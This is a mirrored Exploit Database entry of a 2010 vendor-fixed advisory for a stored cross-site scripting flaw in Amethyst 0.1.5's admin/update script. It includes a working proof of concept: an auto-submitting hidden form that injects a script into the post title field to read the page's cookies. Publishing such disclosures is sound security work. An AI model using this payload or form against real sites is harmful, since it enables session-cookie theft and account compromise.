Amethyst 0.1.5 – Cross-Site Scripting

• Exploit Database
• 12 阅读

• 作者： High-Tech Bridge SA
  日期： 2010-08-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14564/

• Vulnerability ID: HTB22502
  Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_2.html
  Product: Amethyst
  Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )
  Vulnerable Version: 0.1.5 and Probably Prior Versions
  Vendor Notification: 22 July 2010
  Vulnerability Type: Stored XSS (Cross Site Scripting)
  Status: Fixed by Vendor
  Risk level: Medium
  Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
  
  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the admin/update script to properly sanitize user-supplied input in "post[title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/admin/update/2" method="post" name="main" >
  
  <input type="hidden" name="post[title]" value='title"><script>alert(document.cookie)</script>' />
  <input type="hidden" name="post[content]" value="this is my post" />
  <input type="hidden" name="post[created_at(1i)]" value="2010" />
  <input type="hidden" name="post[created_at(2i)]" value="7" />
  <input type="hidden" name="post[created_at(3i)]" value="15" />
  <input type="hidden" name="post[created_at(4i)]" value="20" />
  <input type="hidden" name="post[created_at(5i)]" value="39" />
  <input type="hidden" name="post[updated_at(1i)]" value="2010" />
  <input type="hidden" name="post[updated_at(2i)]" value="7" />
  <input type="hidden" name="post[updated_at(3i)]" value="15" />
  <input type="hidden" name="post[updated_at(4i)]" value="20" />
  <input type="hidden" name="post[updated_at(5i)]" value="39" />
  <input type="hidden" name="commit" value="Create" />
  
  </form>
  <script>
  document.main.submit();
  </script>
  
  Solution: Upgrade to the most recent version